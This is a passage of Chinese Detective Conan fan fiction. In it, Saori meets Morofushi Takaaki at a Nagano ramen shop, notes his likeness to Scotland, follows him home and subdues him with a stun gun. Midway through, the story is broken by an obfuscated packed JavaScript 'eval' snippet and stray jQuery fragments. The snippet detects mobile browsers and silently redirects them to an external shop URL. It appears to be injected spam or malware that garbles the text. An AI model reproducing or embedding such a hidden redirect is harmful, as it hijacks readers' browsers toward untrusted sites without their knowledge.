早织下意识拢了拢帽子,想隐藏起自己,但很快又意识到不对。
这个人不是苏格兰。
且不论苏格兰如何跟着她来到长野,单说这个男人留着的两撇胡子,看起来显然不是一朝一夕能长出来的。
那人显然也不认识早织,进店后冲店主礼貌地点点头。
“诸伏警官,还是老样子吗?”
“是的,有劳您了。”
陌生男人是这里的熟客,苏格兰可不会闲的没事,专程跑到长野来吃一家拉面馆。
那个被称作“诸伏警官”的人环视了一周,发现没有空位后,思索一瞬后朝着早织的座位走来,“您好,请问这里还有人吗?您介意拼桌吗?”
吧台和其余几张桌子都坐满了,只有她这个桌子还有空位。
“不介意。”她把背包和刚买的吉他往墙边挪了挪,“请坐。”
“多谢。”诸伏高明在她对面落座。
老婆婆很快端来另一碗面。诸伏高明道谢,拆开筷子后,又把筷套折成窄窄的一块,垫在盘子下面。
苏格兰也会这么做。
这两个人不仅长得像,连这些没人会特意留心的小动作都像。
原本打算吃完就走的早织放慢了吃饭的速度,小口小口的喝着味增汤,一边喝一边用余光偷偷观察着坐在窗前的男人。
仅需简单的观察,便能轻易感觉出苏格兰和他并不是同一种人。
陌生男人周身的气质也和苏格兰完全不一样,少了些锐利凶狠,多了几分儒雅随和。
plus版苏格兰。
虽说”世界之大无奇不有”,可若硬要说两个长得如此相似的人没有丝毫关系,早织是不相信的。
是兄弟吗?还是父子?
虽然从外貌上看不太像父子,可似乎有些人天生就不太显老。
...
“这位小姐。”诸伏高明抬眼,“我的手上有什么吗?”
“没有。”
“那便是我的脸上有什么?”
早织没有被当场抓包的尴尬,反而顺势把他仔细看了一遍。眉骨、眼睛、鼻梁,越看越像。
“你长得很像我认识的一个人。”
“人有相似,并不稀奇。”诸伏高明舀起一勺汤,吹散热气,“仅凭相貌便断定关系,恐怕失之武断。”
“我还没有说你们有关系。”
汤匙在碗沿上停了一瞬。
只有一瞬。
诸伏高明若无其事地喝了口汤:“既然特意提起,想必不只是感慨相貌相似。”
不愧是警察,真难套话。
早织放下筷子:“诸伏警官是长野人吗?”
“你刚才听见了我的姓氏。”
“听见了。”
“那么,在询问别人之前,是否应该先自我介绍?”
问题被原封不动地推了回来。
“早织。”她说,“我叫早织。”
“姓氏是...”
“我没有姓氏。”其实随便编一个就可以,甚至也没必要告诉他真实的名字,但早织很喜欢自己的名字,也懒得伪装。
“现在轮到您了。”早织提醒。
“诸伏高明,长野县警察。”他只给了从店主称呼和日常言谈中便能获知的内容,“至于私人情况,恕我无可奉告。”
不愧是警察,嘴真严。
早织只好再多抛出些诱饵。
“我认识的那个人叫绿川光。”
诸伏高明握筷子的手没有动,眼神却在她脸上停得更久了。
“未曾听说。”
诸伏高明的脸上没有任何情绪变化。
不知是“绿川光”是假名,还是他真的什么都不知道。
“他会做和这里味道一样的味增汤,也和你有一样的眼睛。”
诸伏高明的神色终于有了些波动,却没有回答早织的问题,而是反问道:“那位绿川先生遇到了麻烦?”
“还是你遇到了麻烦?”
诸伏高明终于放下筷子,严肃道:“若有人正在威胁你,警署离这里不远。”
他怎么知道...
早织的神情一怔。
“...警察解决不了。”如果警察真的有用,苏格兰就不会费尽心思潜入她的身边。
话题被巧妙地从绿川光身上转移到了“麻烦”这件事上。
“尚未尝试,便断言无法解决,并不明智。”诸伏高明认真地看向早织。
那双眼睛清亮、坦然,像极了熟悉的那个人。早织怔愣了一瞬,但下一秒,一股莫名的愤怒涌上心头。
因为置身事外,所以可以大言不惭地说出“求助警察”之类冠冕堂皇的话。
凭什么他能这么坚定地认为警察可以解决问题?
警察解决不了组织,更遑论这个莫名其妙的循环。
因为站在光里,所以对隐在暗处的东西没有丝毫惧怕。
早织手里的筷子磕上碗沿,发出一声轻响。
...
良久的沉默,两人都没有再开口,直到诸伏高明起身准备离开。
“早织小姐。”他看了一眼她放在墙边的吉他,“如果你需要帮助,可以来找我。”
啧。
道貌岸然的家伙。
早织烦躁地吐出一口气。
真想来点酒啊...
在她小时候,还怀揣着愚蠢的天真时,也试过求助警察,但最终的结果是,她走投无路的求助被那位警官先生当成了顽劣小孩的胡闹,然后把她亲手送回了来接她的组织成员手上。
早织没有立刻追出去。她慢慢喝完剩下的汤,把饭钱压在碗底,隔了半分钟才起身离开,跟着诸伏高明的脚步,不远不近地缀在他身后。
她没有刻意隐藏自己的身影,被发现似乎也理所当然。
走过闹市区,进入住宅区后,诸伏高明的脚步突然停住。
“从拉面店到这里,共七个路口。”诸伏高明停下脚步,没有回头,“若说是顺路,未免有些牵强。”
“早织小姐,您究竟有什么事。”
最开始,早织提到相似的人时,他第一反应是担心弟弟。在被跟踪时也已经第一时间联系了由衣和敢助。
绝不能...绝不能因为他的缘故影响弟弟。
诸伏高明的眸光微沉。
等由衣和敢助来了之后,再想办法控制住她。
眼见着气氛逐渐冷凝下来,诸伏高明的手已经摸上了腰侧的枪托。早织却突然开口:“因为我对你一见钟情了。”
“咳咳……”
诸伏高明:哈?
豆豆眼.jpg
女人不按常理出牌的话打断了诸伏高明的思路。
“这个玩笑并不好笑。”他板起脸,从这个奇怪女人的眼底,他没有看到任何爱慕之类的情感。
“不是玩笑,我很认真的。”早织冲他眨眨眼。
诸伏高明:“……”他深深地吐出一口气。
“我很喜欢你。”她的话说的理直气壮,“我想跟你回家。”
这种话就被她大剌剌地说出来,明明知道她在胡说,可诸伏高明依旧有一种无从下手的无措。
“这位小姐,如果你需要,我可以请你去警署里过夜。”
“怎么?你要逮捕我吗?警官先生。”早织漫不经心回答,往前几步,凑近男人身边,双手伸出,平摊在身前,一副坦然被抓的样子。
一副有恃无恐的无赖样。
诸伏高明:“…”脑袋抽疼。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17814646|210998||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
他第一次开始怀疑起自己的判断。
难道她真的只是认错了人...
诸伏高明不准备废话,扭身就走,再一次提高了速度,已经近乎于跑。
早织游刃有余地尾随,显然这样的速度根本甩不脱她。
本就不远的路程在两人竞走的速度下很快走完——诸伏高明到家了。
“早织小姐,请你不要再跟着我了。”诸伏高明审视着她,年轻女人穿得像个普通游客,背着大大的吉他包,一副人畜无害的模样。
“我今晚没有去处,真的不能借宿一宿吗?”
“不能。”诸伏高明快要被眼前人的油盐不进气笑了,索性拿出钥匙开始开门。
开门的时候他并没有直接把后背朝向早织,而是侧身而立,手没有从腰侧拿开,余光还警惕地望向早织的方向。
“那我就在这里过夜吧。”早知边说边盘腿坐下,大有一副在门前过夜的打算,诸伏高明已经准备关门的动作停住。
“长野的晚上可不安全。”他警告道,“甚至会有野生动物。”
这话倒也不是谎话。长野位于群山环抱之中,每逢秋冬,食物匮乏,总有饥饿的野生动物下山觅食,往年秋冬也是野兽伤人的案件最频繁的时候。
“会有熊,熊吃人是活吃。”面无表情地恐吓。
“哦。”早织挑眉,示意自己听到了,却没有半点站起身的打算。
不仅跟苏格兰一模一样的心软,就连硬着头皮劝说的样子,也跟苏格兰如此相似啊...早织强压着想笑的冲动。
诸伏高明:“…”
不是说这个年龄的小姑娘最怕这种东西吗?
终于,两人无声地对峙中,早织先退一步。
“那你保存一下我的电话号码好了。”
“...好。”
果然,让一个人妥协的最好方法,就是先提出一个根本不可能被满足的要求。
...
“存好了。”随着早织念完电话号码,诸伏高明开口。
“我看看喔,可别骗我。”早织装作怀疑地凑近他的手机屏幕,“有给我存备注吗?”
“我…”诸伏高明的话还没有说完,声音却突然顿住。
开关开合,伴随着电流的滋啦声,诸伏高明应声倒地。
早织趁势上前,扣住他的手腕向外一拧,卸下配枪,同时托住他后颈,避免他直接撞上地面。
诸伏高明仍试图反抗。直至第二次的电流贴上手臂,他的力气才彻底散去。
蹲下戳了戳地上的男人,确定他还有呼吸后,早织满意地点点头。
不愧是组织配的电击仪,简直是出门居家必备的
力度刚刚好,电晕不伤脑。
若非注意到诸伏高明的右手几次摸向腰侧,显然有配枪的习惯,早在被发现的时候她就先下手为强了。
早织很少动手,但并不代表她很孱弱。
小时候成天混在训练场里,组织里的人可不知道尊老爱幼,下手不会丝毫留情,但早织仗着恢复速度快,不知道挨了多少打,才一点点学会如何更快地躲过攻击、哪个位置打人更痛,以及被打时如何更好的保护自己。
即便诸伏高明有枪,早织也自信能在不受伤的前提下控制住他,但如若枪响,难免会多生事端。
早织耐着性子跟了他一路,表面上诸伏高明被她的话逼的落荒而逃,但两人间一直维持着一个微妙的距离。
一直到刚刚,她才终于抓到短暂的破绽,等到了使用电击器的机会。
早织面上伪装出少女的娇俏全然消失,她一个闪身进了房间,关上大门,熟练地拖着诸伏高明的身体往屋内走去。
还行,与早织拖过无数次的尸体相比,不算重。